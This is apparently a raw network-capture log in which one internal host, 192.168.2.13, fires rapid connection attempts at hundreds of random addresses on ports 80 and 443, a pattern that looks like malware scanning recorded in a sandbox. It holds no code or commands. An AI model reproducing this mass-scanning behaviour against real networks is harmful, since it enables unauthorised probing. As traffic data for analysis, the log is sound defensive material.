Mar 21, 2024 05:16:56.477535963 CET	46418	80	192.168.2.13	65.218.242.44
Mar 21, 2024 05:16:56.477535963 CET	46418	80	192.168.2.13	2.134.70.15
Mar 21, 2024 05:16:56.477543116 CET	46418	80	192.168.2.13	134.1.201.183
Mar 21, 2024 05:16:56.477555037 CET	46418	80	192.168.2.13	212.95.166.145
Mar 21, 2024 05:16:56.477555037 CET	46418	80	192.168.2.13	1.53.127.168
Mar 21, 2024 05:16:56.477564096 CET	46418	80	192.168.2.13	153.7.203.128
Mar 21, 2024 05:16:56.477586985 CET	46418	80	192.168.2.13	156.117.200.252
Mar 21, 2024 05:16:56.477590084 CET	46418	80	192.168.2.13	90.181.124.254
Mar 21, 2024 05:16:56.477602005 CET	46418	80	192.168.2.13	27.96.112.158
Mar 21, 2024 05:16:56.477606058 CET	46418	80	192.168.2.13	133.240.110.248
Mar 21, 2024 05:16:56.477622032 CET	46418	80	192.168.2.13	76.148.100.89
Mar 21, 2024 05:16:56.477646112 CET	46418	80	192.168.2.13	196.203.165.47
Mar 21, 2024 05:16:56.477647066 CET	46418	80	192.168.2.13	67.199.224.94
Mar 21, 2024 05:16:56.477652073 CET	46418	80	192.168.2.13	72.59.75.250
Mar 21, 2024 05:16:56.477652073 CET	46418	80	192.168.2.13	145.142.177.143
Mar 21, 2024 05:16:56.477673054 CET	46418	80	192.168.2.13	138.168.34.19
Mar 21, 2024 05:16:56.477677107 CET	46418	80	192.168.2.13	41.22.89.39
Mar 21, 2024 05:16:56.477701902 CET	46418	80	192.168.2.13	51.196.199.88
Mar 21, 2024 05:16:56.477711916 CET	46418	80	192.168.2.13	185.116.32.34
Mar 21, 2024 05:16:56.477713108 CET	46418	80	192.168.2.13	14.168.142.127
Mar 21, 2024 05:16:56.477719069 CET	46418	80	192.168.2.13	197.221.250.28
Mar 21, 2024 05:16:56.477720976 CET	46418	80	192.168.2.13	206.214.86.35
Mar 21, 2024 05:16:56.477725983 CET	46418	80	192.168.2.13	160.250.3.156
Mar 21, 2024 05:16:56.477732897 CET	46418	80	192.168.2.13	126.235.20.138
Mar 21, 2024 05:16:56.477739096 CET	46418	80	192.168.2.13	84.182.244.111
Mar 21, 2024 05:16:56.477750063 CET	46418	80	192.168.2.13	158.152.236.41
Mar 21, 2024 05:16:56.477760077 CET	46418	80	192.168.2.13	21.53.220.108
Mar 21, 2024 05:16:56.477762938 CET	46418	80	192.168.2.13	32.27.32.183
Mar 21, 2024 05:16:56.477762938 CET	46418	80	192.168.2.13	125.44.210.11
Mar 21, 2024 05:16:56.477782011 CET	46418	80	192.168.2.13	50.16.150.203
Mar 21, 2024 05:16:56.477782011 CET	46418	80	192.168.2.13	81.68.31.40
Mar 21, 2024 05:16:56.477802038 CET	46418	80	192.168.2.13	122.209.132.180
Mar 21, 2024 05:16:56.477818966 CET	46418	80	192.168.2.13	112.118.51.25
Mar 21, 2024 05:16:56.477833986 CET	46418	80	192.168.2.13	139.220.163.253
Mar 21, 2024 05:16:56.477837086 CET	46418	80	192.168.2.13	135.82.123.193
Mar 21, 2024 05:16:56.477840900 CET	46418	80	192.168.2.13	150.81.100.135
Mar 21, 2024 05:16:56.477864027 CET	46418	80	192.168.2.13	21.85.196.169
Mar 21, 2024 05:16:56.477865934 CET	46418	80	192.168.2.13	82.127.60.22
Mar 21, 2024 05:16:56.477868080 CET	46418	80	192.168.2.13	131.39.72.108
Mar 21, 2024 05:16:56.477883101 CET	46418	80	192.168.2.13	155.88.4.205
Mar 21, 2024 05:16:56.477883101 CET	46418	80	192.168.2.13	75.171.241.122
Mar 21, 2024 05:16:56.477891922 CET	46418	80	192.168.2.13	153.29.143.161
Mar 21, 2024 05:16:56.477907896 CET	46418	80	192.168.2.13	22.161.242.157
Mar 21, 2024 05:16:56.477907896 CET	46418	80	192.168.2.13	198.159.85.145
Mar 21, 2024 05:16:56.477912903 CET	46418	80	192.168.2.13	111.159.157.4
Mar 21, 2024 05:16:56.477933884 CET	46418	80	192.168.2.13	133.249.119.17
Mar 21, 2024 05:16:56.477946997 CET	46418	80	192.168.2.13	249.209.207.102
Mar 21, 2024 05:16:56.477946997 CET	46418	80	192.168.2.13	70.210.185.79
Mar 21, 2024 05:16:56.477966070 CET	46418	80	192.168.2.13	48.18.144.87
Mar 21, 2024 05:16:56.477967978 CET	46418	80	192.168.2.13	80.23.149.130
Mar 21, 2024 05:16:56.477979898 CET	46418	80	192.168.2.13	17.131.71.141
Mar 21, 2024 05:16:56.477982044 CET	46418	80	192.168.2.13	67.235.78.142
Mar 21, 2024 05:16:56.477982998 CET	46418	80	192.168.2.13	211.245.172.128
Mar 21, 2024 05:16:56.477984905 CET	46418	80	192.168.2.13	19.76.38.235
Mar 21, 2024 05:16:56.477992058 CET	46418	80	192.168.2.13	250.172.209.39
Mar 21, 2024 05:16:56.477993011 CET	46418	80	192.168.2.13	207.247.169.68
Mar 21, 2024 05:16:56.478008032 CET	46418	80	192.168.2.13	176.163.82.170
Mar 21, 2024 05:16:56.478010893 CET	46418	80	192.168.2.13	158.160.136.37
Mar 21, 2024 05:16:56.478013992 CET	46418	80	192.168.2.13	130.39.131.69
Mar 21, 2024 05:16:56.478013992 CET	46418	80	192.168.2.13	209.211.135.9
Mar 21, 2024 05:16:56.478015900 CET	46418	80	192.168.2.13	195.171.89.15
Mar 21, 2024 05:16:56.478014946 CET	46418	80	192.168.2.13	30.232.55.44
Mar 21, 2024 05:16:56.478015900 CET	46418	80	192.168.2.13	138.251.5.171
Mar 21, 2024 05:16:56.478014946 CET	46418	80	192.168.2.13	9.156.23.98
Mar 21, 2024 05:16:56.478015900 CET	46418	80	192.168.2.13	24.235.63.208
Mar 21, 2024 05:16:56.478022099 CET	46418	80	192.168.2.13	180.78.21.135
Mar 21, 2024 05:16:56.478015900 CET	46418	80	192.168.2.13	197.169.2.66
Mar 21, 2024 05:16:56.478022099 CET	46418	80	192.168.2.13	39.217.169.144
Mar 21, 2024 05:16:56.478015900 CET	46418	80	192.168.2.13	136.227.231.149
Mar 21, 2024 05:16:56.478024006 CET	46418	80	192.168.2.13	4.238.12.68
Mar 21, 2024 05:16:56.478024960 CET	46418	80	192.168.2.13	103.184.63.60
Mar 21, 2024 05:16:56.478044033 CET	46418	80	192.168.2.13	160.138.51.107
Mar 21, 2024 05:16:56.478044033 CET	46418	80	192.168.2.13	158.228.177.125
Mar 21, 2024 05:16:56.478053093 CET	46418	80	192.168.2.13	113.89.251.46
Mar 21, 2024 05:16:56.478055954 CET	46418	80	192.168.2.13	55.107.161.4
Mar 21, 2024 05:16:56.478068113 CET	46418	80	192.168.2.13	172.132.140.179
Mar 21, 2024 05:16:56.478071928 CET	46418	80	192.168.2.13	37.121.103.96
Mar 21, 2024 05:16:56.478079081 CET	46418	80	192.168.2.13	196.19.224.5
Mar 21, 2024 05:16:56.478077888 CET	46418	80	192.168.2.13	144.97.131.174
Mar 21, 2024 05:16:56.478091002 CET	46418	80	192.168.2.13	221.223.181.160
Mar 21, 2024 05:16:56.478092909 CET	46418	80	192.168.2.13	174.225.45.113
Mar 21, 2024 05:16:56.478101969 CET	46418	80	192.168.2.13	27.214.123.198
Mar 21, 2024 05:16:56.478107929 CET	46418	80	192.168.2.13	45.100.101.84
Mar 21, 2024 05:16:56.478112936 CET	46418	80	192.168.2.13	151.21.153.45
Mar 21, 2024 05:16:56.478121042 CET	46418	80	192.168.2.13	63.214.255.136
Mar 21, 2024 05:16:56.478126049 CET	46418	80	192.168.2.13	210.15.142.74
Mar 21, 2024 05:16:56.478126049 CET	46418	80	192.168.2.13	80.191.91.173
Mar 21, 2024 05:16:56.478127956 CET	46418	80	192.168.2.13	91.4.94.255
Mar 21, 2024 05:16:56.478130102 CET	46418	80	192.168.2.13	13.157.182.43
Mar 21, 2024 05:16:56.478143930 CET	46418	80	192.168.2.13	75.65.54.248
Mar 21, 2024 05:16:56.478147030 CET	46418	80	192.168.2.13	3.189.186.3
Mar 21, 2024 05:16:56.478152990 CET	46418	80	192.168.2.13	180.175.214.145
Mar 21, 2024 05:16:56.478162050 CET	46418	80	192.168.2.13	157.231.171.155
Mar 21, 2024 05:16:56.478168011 CET	46418	80	192.168.2.13	90.64.96.57
Mar 21, 2024 05:16:56.478168011 CET	46418	80	192.168.2.13	160.189.22.194
Mar 21, 2024 05:16:56.478183031 CET	46418	80	192.168.2.13	243.164.172.71
Mar 21, 2024 05:16:56.478214025 CET	46418	80	192.168.2.13	141.229.158.31
Mar 21, 2024 05:16:56.478214025 CET	46418	80	192.168.2.13	56.40.42.166
Mar 21, 2024 05:16:56.478215933 CET	46418	80	192.168.2.13	145.67.221.125
Mar 21, 2024 05:16:56.478214979 CET	46418	80	192.168.2.13	212.40.11.159
Mar 21, 2024 05:16:56.478220940 CET	46418	80	192.168.2.13	216.247.247.240
Mar 21, 2024 05:16:56.478220940 CET	46418	80	192.168.2.13	251.223.201.246
Mar 21, 2024 05:16:56.478235006 CET	46418	80	192.168.2.13	170.181.14.205
Mar 21, 2024 05:16:56.478245974 CET	46418	80	192.168.2.13	139.76.101.138
Mar 21, 2024 05:16:56.478245974 CET	46418	80	192.168.2.13	25.251.27.172
Mar 21, 2024 05:16:56.478245974 CET	46418	80	192.168.2.13	97.209.211.4
Mar 21, 2024 05:16:56.478245974 CET	46418	80	192.168.2.13	219.103.90.160
Mar 21, 2024 05:16:56.478247881 CET	46418	80	192.168.2.13	82.188.52.117
Mar 21, 2024 05:16:56.478249073 CET	46418	80	192.168.2.13	85.166.75.110
Mar 21, 2024 05:16:56.478249073 CET	46418	80	192.168.2.13	85.116.39.173
Mar 21, 2024 05:16:56.478249073 CET	46418	80	192.168.2.13	141.80.126.76
Mar 21, 2024 05:16:56.478251934 CET	46418	80	192.168.2.13	90.136.105.251
Mar 21, 2024 05:16:56.478254080 CET	46418	80	192.168.2.13	21.100.5.194
Mar 21, 2024 05:16:56.478264093 CET	46418	80	192.168.2.13	32.213.10.184
Mar 21, 2024 05:16:56.478272915 CET	46418	80	192.168.2.13	148.4.128.1
Mar 21, 2024 05:16:56.478274107 CET	46418	80	192.168.2.13	217.214.141.203
Mar 21, 2024 05:16:56.478279114 CET	46418	80	192.168.2.13	206.14.89.126
Mar 21, 2024 05:16:56.478280067 CET	46418	80	192.168.2.13	130.24.107.99
Mar 21, 2024 05:16:56.478280067 CET	46418	80	192.168.2.13	113.13.1.230
Mar 21, 2024 05:16:56.478280067 CET	46418	80	192.168.2.13	247.232.51.42
Mar 21, 2024 05:16:56.478280067 CET	46418	80	192.168.2.13	40.220.4.2
Mar 21, 2024 05:16:56.478280067 CET	46418	80	192.168.2.13	102.231.74.5
Mar 21, 2024 05:16:56.478286028 CET	46418	80	192.168.2.13	4.183.129.85
Mar 21, 2024 05:16:56.478286028 CET	46418	80	192.168.2.13	119.18.67.43
Mar 21, 2024 05:16:56.478291988 CET	46418	80	192.168.2.13	122.44.149.81
Mar 21, 2024 05:16:56.478291988 CET	46418	80	192.168.2.13	120.153.78.45
Mar 21, 2024 05:16:56.478291988 CET	46418	80	192.168.2.13	91.86.15.162
Mar 21, 2024 05:16:56.478301048 CET	46418	80	192.168.2.13	46.138.57.29
Mar 21, 2024 05:16:56.478301048 CET	46418	80	192.168.2.13	196.177.177.149
Mar 21, 2024 05:16:56.478317976 CET	46418	80	192.168.2.13	94.84.162.154
Mar 21, 2024 05:16:56.478317976 CET	46418	80	192.168.2.13	95.189.229.107
Mar 21, 2024 05:16:56.478324890 CET	46418	80	192.168.2.13	117.232.156.118
Mar 21, 2024 05:16:56.478332996 CET	46418	80	192.168.2.13	249.10.159.83
Mar 21, 2024 05:16:56.478341103 CET	46418	80	192.168.2.13	214.177.94.119
Mar 21, 2024 05:16:56.478378057 CET	46418	80	192.168.2.13	41.8.230.196
Mar 21, 2024 05:16:56.478379011 CET	46418	80	192.168.2.13	86.7.47.168
Mar 21, 2024 05:16:56.478378057 CET	46418	80	192.168.2.13	32.43.3.158
Mar 21, 2024 05:16:56.478378057 CET	46418	80	192.168.2.13	36.123.3.146
Mar 21, 2024 05:16:56.478390932 CET	46418	80	192.168.2.13	125.52.205.169
Mar 21, 2024 05:16:56.478394985 CET	46418	80	192.168.2.13	255.222.135.194
Mar 21, 2024 05:16:56.478395939 CET	46418	80	192.168.2.13	117.206.47.189
Mar 21, 2024 05:16:56.478399038 CET	46418	80	192.168.2.13	120.51.165.5
Mar 21, 2024 05:16:56.478404999 CET	46418	80	192.168.2.13	45.223.209.63
Mar 21, 2024 05:16:56.478404999 CET	46418	80	192.168.2.13	118.42.212.176
Mar 21, 2024 05:16:56.478420973 CET	46418	80	192.168.2.13	79.56.144.83
Mar 21, 2024 05:16:56.478423119 CET	46418	80	192.168.2.13	73.82.86.233
Mar 21, 2024 05:16:56.478423119 CET	46418	80	192.168.2.13	106.86.137.46
Mar 21, 2024 05:16:56.478429079 CET	46418	80	192.168.2.13	205.145.127.170
Mar 21, 2024 05:16:56.478430986 CET	46418	80	192.168.2.13	188.126.105.221
Mar 21, 2024 05:16:56.478455067 CET	46418	80	192.168.2.13	243.18.204.72
Mar 21, 2024 05:16:56.478455067 CET	46418	80	192.168.2.13	142.218.49.15
Mar 21, 2024 05:16:56.478458881 CET	46418	80	192.168.2.13	33.69.247.218
Mar 21, 2024 05:16:56.478458881 CET	46418	80	192.168.2.13	65.200.212.121
Mar 21, 2024 05:16:56.478480101 CET	46418	80	192.168.2.13	193.74.208.23
Mar 21, 2024 05:16:56.478482008 CET	46418	80	192.168.2.13	143.40.118.22
Mar 21, 2024 05:16:56.478492022 CET	46418	80	192.168.2.13	161.239.176.130
Mar 21, 2024 05:16:56.478504896 CET	46418	80	192.168.2.13	62.162.17.23
Mar 21, 2024 05:16:56.478516102 CET	46418	80	192.168.2.13	150.171.194.84
Mar 21, 2024 05:16:56.478518963 CET	46418	80	192.168.2.13	252.208.5.16
Mar 21, 2024 05:16:56.478528976 CET	46418	80	192.168.2.13	220.157.9.28
Mar 21, 2024 05:16:56.478532076 CET	46418	80	192.168.2.13	14.37.225.255
Mar 21, 2024 05:16:56.478548050 CET	46418	80	192.168.2.13	88.187.202.66
Mar 21, 2024 05:16:56.478548050 CET	46418	80	192.168.2.13	158.90.50.36
Mar 21, 2024 05:16:56.478558064 CET	46418	80	192.168.2.13	135.162.235.174
Mar 21, 2024 05:16:56.478579998 CET	46418	80	192.168.2.13	218.12.149.144
Mar 21, 2024 05:16:56.478580952 CET	46418	80	192.168.2.13	252.169.106.188
Mar 21, 2024 05:16:56.478588104 CET	46418	80	192.168.2.13	153.118.197.200
Mar 21, 2024 05:16:56.478590012 CET	46418	80	192.168.2.13	136.226.189.44
Mar 21, 2024 05:16:56.478590012 CET	46418	80	192.168.2.13	41.168.3.169
Mar 21, 2024 05:16:56.478601933 CET	46418	80	192.168.2.13	52.9.26.154
Mar 21, 2024 05:16:56.478602886 CET	46418	80	192.168.2.13	73.88.13.209
Mar 21, 2024 05:16:56.478609085 CET	46418	80	192.168.2.13	10.228.26.208
Mar 21, 2024 05:16:56.478609085 CET	46418	80	192.168.2.13	204.77.182.165
Mar 21, 2024 05:16:56.478630066 CET	46418	80	192.168.2.13	70.47.196.109
Mar 21, 2024 05:16:56.478637934 CET	46418	80	192.168.2.13	214.215.128.155
Mar 21, 2024 05:16:56.478646040 CET	46418	80	192.168.2.13	91.106.73.112
Mar 21, 2024 05:16:56.478655100 CET	46418	80	192.168.2.13	223.171.239.243
Mar 21, 2024 05:16:56.478661060 CET	46418	80	192.168.2.13	53.14.128.20
Mar 21, 2024 05:16:56.478667974 CET	46418	80	192.168.2.13	55.164.222.147
Mar 21, 2024 05:16:56.478676081 CET	46418	80	192.168.2.13	97.48.30.226
Mar 21, 2024 05:16:56.478682995 CET	46418	80	192.168.2.13	219.89.1.3
Mar 21, 2024 05:16:56.478687048 CET	46418	80	192.168.2.13	29.218.144.61
Mar 21, 2024 05:16:56.478698969 CET	46418	80	192.168.2.13	243.229.48.242
Mar 21, 2024 05:16:56.478708982 CET	46418	80	192.168.2.13	108.80.34.201
Mar 21, 2024 05:16:56.478708982 CET	46418	80	192.168.2.13	20.186.97.169
Mar 21, 2024 05:16:56.478710890 CET	46418	80	192.168.2.13	187.4.220.148
Mar 21, 2024 05:16:56.478737116 CET	46418	80	192.168.2.13	171.27.103.180
Mar 21, 2024 05:16:56.478754044 CET	46418	80	192.168.2.13	247.168.227.146
Mar 21, 2024 05:16:56.478754997 CET	46418	80	192.168.2.13	88.67.115.157
Mar 21, 2024 05:16:56.478780031 CET	46418	80	192.168.2.13	57.40.151.125
Mar 21, 2024 05:16:56.478784084 CET	46418	80	192.168.2.13	154.46.119.13
Mar 21, 2024 05:16:56.478784084 CET	46418	80	192.168.2.13	76.39.246.35
Mar 21, 2024 05:16:56.478802919 CET	46418	80	192.168.2.13	61.112.159.88
Mar 21, 2024 05:16:56.478807926 CET	46418	80	192.168.2.13	210.64.62.62
Mar 21, 2024 05:16:56.478818893 CET	46418	80	192.168.2.13	117.128.122.83
Mar 21, 2024 05:16:56.478821993 CET	46418	80	192.168.2.13	187.217.108.6
Mar 21, 2024 05:16:56.478821993 CET	46418	80	192.168.2.13	110.5.1.148
Mar 21, 2024 05:16:56.478821993 CET	46418	80	192.168.2.13	194.17.210.175
Mar 21, 2024 05:16:56.478838921 CET	46418	80	192.168.2.13	137.138.175.83
Mar 21, 2024 05:16:56.478841066 CET	46418	80	192.168.2.13	171.62.23.38
Mar 21, 2024 05:16:56.479080915 CET	46418	80	192.168.2.13	176.234.32.105
Mar 21, 2024 05:16:56.479090929 CET	46418	80	192.168.2.13	98.175.21.2
Mar 21, 2024 05:16:56.479101896 CET	46418	80	192.168.2.13	14.56.118.255
Mar 21, 2024 05:16:56.479110956 CET	46418	80	192.168.2.13	170.48.199.73
Mar 21, 2024 05:16:56.479111910 CET	46418	80	192.168.2.13	119.114.195.140
Mar 21, 2024 05:16:56.479111910 CET	46418	80	192.168.2.13	10.177.121.232
Mar 21, 2024 05:16:56.479119062 CET	46418	80	192.168.2.13	116.15.30.67
Mar 21, 2024 05:16:56.479135036 CET	46418	80	192.168.2.13	38.236.59.202
Mar 21, 2024 05:16:56.479135990 CET	46418	80	192.168.2.13	145.173.205.43
Mar 21, 2024 05:16:56.479151011 CET	46418	80	192.168.2.13	170.129.67.194
Mar 21, 2024 05:16:56.479151011 CET	46418	80	192.168.2.13	138.183.233.171
Mar 21, 2024 05:16:56.479160070 CET	46418	80	192.168.2.13	52.190.244.174
Mar 21, 2024 05:16:56.479173899 CET	46418	80	192.168.2.13	18.140.22.184
Mar 21, 2024 05:16:56.479187965 CET	46418	80	192.168.2.13	181.156.115.195
Mar 21, 2024 05:16:56.479195118 CET	46418	80	192.168.2.13	77.79.90.226
Mar 21, 2024 05:16:56.479199886 CET	46418	80	192.168.2.13	146.157.118.184
Mar 21, 2024 05:16:56.479212046 CET	46418	80	192.168.2.13	188.207.27.61
Mar 21, 2024 05:16:56.479212999 CET	46418	80	192.168.2.13	27.117.78.39
Mar 21, 2024 05:16:56.479216099 CET	46418	80	192.168.2.13	197.119.202.151
Mar 21, 2024 05:16:56.479232073 CET	46418	80	192.168.2.13	46.94.58.238
Mar 21, 2024 05:16:56.479233980 CET	46418	80	192.168.2.13	123.211.14.37
Mar 21, 2024 05:16:56.479235888 CET	46418	80	192.168.2.13	206.45.108.101
Mar 21, 2024 05:16:56.479243040 CET	46418	80	192.168.2.13	48.212.19.227
Mar 21, 2024 05:16:56.479243040 CET	46418	80	192.168.2.13	1.22.86.96
Mar 21, 2024 05:16:56.479269028 CET	46418	80	192.168.2.13	174.181.13.2
Mar 21, 2024 05:16:56.479269028 CET	46418	80	192.168.2.13	12.51.168.103
Mar 21, 2024 05:16:56.479273081 CET	46418	80	192.168.2.13	103.52.235.0
Mar 21, 2024 05:16:56.479289055 CET	46418	80	192.168.2.13	176.89.152.69
Mar 21, 2024 05:16:56.479294062 CET	46418	80	192.168.2.13	214.239.96.81
Mar 21, 2024 05:16:56.479294062 CET	46418	80	192.168.2.13	12.30.113.150
Mar 21, 2024 05:16:56.479302883 CET	46418	80	192.168.2.13	120.108.139.3
Mar 21, 2024 05:16:56.479325056 CET	46418	80	192.168.2.13	158.192.27.23
Mar 21, 2024 05:16:56.479325056 CET	46418	80	192.168.2.13	130.112.61.4
Mar 21, 2024 05:16:56.479327917 CET	46418	80	192.168.2.13	37.246.177.229
Mar 21, 2024 05:16:56.479334116 CET	43602	443	192.168.2.13	178.35.31.50
Mar 21, 2024 05:16:56.479334116 CET	46418	80	192.168.2.13	175.93.161.63
Mar 21, 2024 05:16:56.479348898 CET	46418	80	192.168.2.13	183.133.78.30
Mar 21, 2024 05:16:56.479355097 CET	46418	80	192.168.2.13	87.23.194.34
Mar 21, 2024 05:16:56.479362965 CET	443	43602	178.35.31.50	192.168.2.13
Mar 21, 2024 05:16:56.479376078 CET	46418	80	192.168.2.13	42.23.34.220
Mar 21, 2024 05:16:56.479377031 CET	46418	80	192.168.2.13	91.189.44.160
Mar 21, 2024 05:16:56.479384899 CET	46418	80	192.168.2.13	163.219.71.128
Mar 21, 2024 05:16:56.479384899 CET	46418	80	192.168.2.13	82.205.68.228
Mar 21, 2024 05:16:56.479404926 CET	43602	443	192.168.2.13	178.35.31.50
Mar 21, 2024 05:16:56.479424953 CET	43602	443	192.168.2.13	79.125.167.50
Mar 21, 2024 05:16:56.479424953 CET	43602	443	192.168.2.13	178.102.42.115
Mar 21, 2024 05:16:56.479424953 CET	43602	443	192.168.2.13	109.51.193.54
Mar 21, 2024 05:16:56.479427099 CET	46418	80	192.168.2.13	133.129.206.150
Mar 21, 2024 05:16:56.479435921 CET	46418	80	192.168.2.13	195.210.118.210
Mar 21, 2024 05:16:56.479435921 CET	46418	80	192.168.2.13	202.224.47.115
Mar 21, 2024 05:16:56.479437113 CET	46418	80	192.168.2.13	197.174.45.78
Mar 21, 2024 05:16:56.479439974 CET	46418	80	192.168.2.13	20.228.135.146
Mar 21, 2024 05:16:56.479446888 CET	443	43602	79.125.167.50	192.168.2.13
Mar 21, 2024 05:16:56.479448080 CET	43602	443	192.168.2.13	42.168.122.89
Mar 21, 2024 05:16:56.479454994 CET	443	43602	178.102.42.115	192.168.2.13
Mar 21, 2024 05:16:56.479460955 CET	43602	443	192.168.2.13	5.224.148.136
Mar 21, 2024 05:16:56.479460955 CET	46418	80	192.168.2.13	222.190.114.18
Mar 21, 2024 05:16:56.479463100 CET	43602	443	192.168.2.13	212.46.243.46
Mar 21, 2024 05:16:56.479465008 CET	43602	443	192.168.2.13	2.234.236.5
Mar 21, 2024 05:16:56.479465008 CET	443	43602	109.51.193.54	192.168.2.13
Mar 21, 2024 05:16:56.479465008 CET	443	43602	42.168.122.89	192.168.2.13
Mar 21, 2024 05:16:56.479470968 CET	443	43602	212.46.243.46	192.168.2.13
Mar 21, 2024 05:16:56.479470968 CET	43602	443	192.168.2.13	212.188.190.156
Mar 21, 2024 05:16:56.479470968 CET	46418	80	192.168.2.13	90.231.199.50
Mar 21, 2024 05:16:56.479470968 CET	43602	443	192.168.2.13	210.191.165.198
Mar 21, 2024 05:16:56.479473114 CET	43602	443	192.168.2.13	94.145.231.25
Mar 21, 2024 05:16:56.479477882 CET	443	43602	5.224.148.136	192.168.2.13
Mar 21, 2024 05:16:56.479480982 CET	43602	443	192.168.2.13	118.1.44.174
Mar 21, 2024 05:16:56.479481936 CET	443	43602	2.234.236.5	192.168.2.13
Mar 21, 2024 05:16:56.479480982 CET	43602	443	192.168.2.13	178.159.80.116
Mar 21, 2024 05:16:56.479482889 CET	46418	80	192.168.2.13	105.181.78.210
Mar 21, 2024 05:16:56.479490042 CET	443	43602	94.145.231.25	192.168.2.13
Mar 21, 2024 05:16:56.479490042 CET	43602	443	192.168.2.13	94.227.25.93
Mar 21, 2024 05:16:56.479490042 CET	46418	80	192.168.2.13	223.246.100.33
Mar 21, 2024 05:16:56.479490042 CET	46418	80	192.168.2.13	41.108.222.76
Mar 21, 2024 05:16:56.479490042 CET	46418	80	192.168.2.13	156.0.97.153
Mar 21, 2024 05:16:56.479496956 CET	46418	80	192.168.2.13	249.79.106.163
Mar 21, 2024 05:16:56.479497910 CET	43602	443	192.168.2.13	5.105.68.239
Mar 21, 2024 05:16:56.479497910 CET	46418	80	192.168.2.13	133.159.30.184
Mar 21, 2024 05:16:56.479497910 CET	443	43602	212.188.190.156	192.168.2.13
Mar 21, 2024 05:16:56.479497910 CET	46418	80	192.168.2.13	207.102.167.166
Mar 21, 2024 05:16:56.479497910 CET	43602	443	192.168.2.13	118.213.31.29
Mar 21, 2024 05:16:56.479501009 CET	443	43602	118.1.44.174	192.168.2.13
Mar 21, 2024 05:16:56.479497910 CET	43602	443	192.168.2.13	79.125.167.50
Mar 21, 2024 05:16:56.479497910 CET	43602	443	192.168.2.13	37.87.150.107
Mar 21, 2024 05:16:56.479507923 CET	443	43602	94.227.25.93	192.168.2.13
Mar 21, 2024 05:16:56.479513884 CET	43602	443	192.168.2.13	42.168.122.89
Mar 21, 2024 05:16:56.479516029 CET	443	43602	5.105.68.239	192.168.2.13
Mar 21, 2024 05:16:56.479521036 CET	443	43602	118.213.31.29	192.168.2.13
Mar 21, 2024 05:16:56.479521990 CET	43602	443	192.168.2.13	212.46.243.46
Mar 21, 2024 05:16:56.479523897 CET	443	43602	210.191.165.198	192.168.2.13
Mar 21, 2024 05:16:56.479523897 CET	43602	443	192.168.2.13	5.224.148.136
Mar 21, 2024 05:16:56.479525089 CET	43602	443	192.168.2.13	2.234.236.5
Mar 21, 2024 05:16:56.479526043 CET	443	43602	37.87.150.107	192.168.2.13
Mar 21, 2024 05:16:56.479527950 CET	443	43602	178.159.80.116	192.168.2.13
Mar 21, 2024 05:16:56.479531050 CET	43602	443	192.168.2.13	109.51.193.54
Mar 21, 2024 05:16:56.479531050 CET	43602	443	192.168.2.13	178.102.42.115
Mar 21, 2024 05:16:56.479535103 CET	46418	80	192.168.2.13	63.151.7.232
Mar 21, 2024 05:16:56.479535103 CET	46418	80	192.168.2.13	93.92.152.236
Mar 21, 2024 05:16:56.479536057 CET	46418	80	192.168.2.13	74.127.85.29
Mar 21, 2024 05:16:56.479535103 CET	46418	80	192.168.2.13	93.81.187.46
Mar 21, 2024 05:16:56.479536057 CET	43602	443	192.168.2.13	94.145.231.25
Mar 21, 2024 05:16:56.479547977 CET	43602	443	192.168.2.13	118.1.44.174
Mar 21, 2024 05:16:56.479547977 CET	43602	443	192.168.2.13	178.159.80.116
Mar 21, 2024 05:16:56.479551077 CET	43602	443	192.168.2.13	5.105.68.239
Mar 21, 2024 05:16:56.479552031 CET	43602	443	192.168.2.13	94.227.25.93
Mar 21, 2024 05:16:56.479557037 CET	43602	443	192.168.2.13	118.213.31.29
Mar 21, 2024 05:16:56.479563951 CET	46418	80	192.168.2.13	245.177.136.40
Mar 21, 2024 05:16:56.479563951 CET	43602	443	192.168.2.13	212.188.190.156
Mar 21, 2024 05:16:56.479563951 CET	43602	443	192.168.2.13	210.191.165.198
Mar 21, 2024 05:16:56.479563951 CET	43602	443	192.168.2.13	37.87.150.107
Mar 21, 2024 05:16:56.479579926 CET	46418	80	192.168.2.13	211.242.59.240
Mar 21, 2024 05:16:56.479588032 CET	46418	80	192.168.2.13	169.182.5.9
Mar 21, 2024 05:16:56.479588032 CET	43602	443	192.168.2.13	109.58.147.150
Mar 21, 2024 05:16:56.479588985 CET	43602	443	192.168.2.13	79.145.35.178
Mar 21, 2024 05:16:56.479595900 CET	46418	80	192.168.2.13	109.128.231.78
Mar 21, 2024 05:16:56.479597092 CET	46418	80	192.168.2.13	60.96.35.115
Mar 21, 2024 05:16:56.479597092 CET	443	43602	79.145.35.178	192.168.2.13
Mar 21, 2024 05:16:56.479598999 CET	43602	443	192.168.2.13	42.133.64.215
Mar 21, 2024 05:16:56.479603052 CET	443	43602	109.58.147.150	192.168.2.13
Mar 21, 2024 05:16:56.479603052 CET	46418	80	192.168.2.13	214.205.61.119
Mar 21, 2024 05:16:56.479607105 CET	43602	443	192.168.2.13	79.77.16.170
Mar 21, 2024 05:16:56.479607105 CET	46418	80	192.168.2.13	34.177.74.204
Mar 21, 2024 05:16:56.479607105 CET	443	43602	42.133.64.215	192.168.2.13
Mar 21, 2024 05:16:56.479608059 CET	46418	80	192.168.2.13	215.212.55.241
Mar 21, 2024 05:16:56.479608059 CET	43602	443	192.168.2.13	2.1.255.62
Mar 21, 2024 05:16:56.479614973 CET	46418	80	192.168.2.13	99.195.74.52
Mar 21, 2024 05:16:56.479617119 CET	46418	80	192.168.2.13	34.89.219.198
Mar 21, 2024 05:16:56.479617119 CET	43602	443	192.168.2.13	42.118.69.95
Mar 21, 2024 05:16:56.479617119 CET	46418	80	192.168.2.13	89.76.175.102
Mar 21, 2024 05:16:56.479619026 CET	443	43602	79.77.16.170	192.168.2.13
Mar 21, 2024 05:16:56.479621887 CET	443	43602	2.1.255.62	192.168.2.13
Mar 21, 2024 05:16:56.479629993 CET	43602	443	192.168.2.13	210.234.115.116
Mar 21, 2024 05:16:56.479629993 CET	43602	443	192.168.2.13	118.168.202.240
Mar 21, 2024 05:16:56.479634047 CET	443	43602	42.118.69.95	192.168.2.13
Mar 21, 2024 05:16:56.479635000 CET	43602	443	192.168.2.13	178.58.219.169
Mar 21, 2024 05:16:56.479635954 CET	46418	80	192.168.2.13	60.123.198.134
Mar 21, 2024 05:16:56.479638100 CET	46418	80	192.168.2.13	43.41.17.126
Mar 21, 2024 05:16:56.479638100 CET	46418	80	192.168.2.13	184.58.52.120
Mar 21, 2024 05:16:56.479638100 CET	43602	443	192.168.2.13	109.58.147.150
